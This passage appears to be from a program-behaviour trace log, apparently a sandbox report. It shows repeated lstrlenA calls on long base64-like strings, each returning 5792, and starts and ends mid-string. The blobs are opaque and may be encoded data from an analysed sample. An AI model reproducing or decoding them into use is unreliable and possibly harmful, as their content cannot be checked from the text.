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") returned 5792 [0163.804] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.804] lstrlenA (lpString="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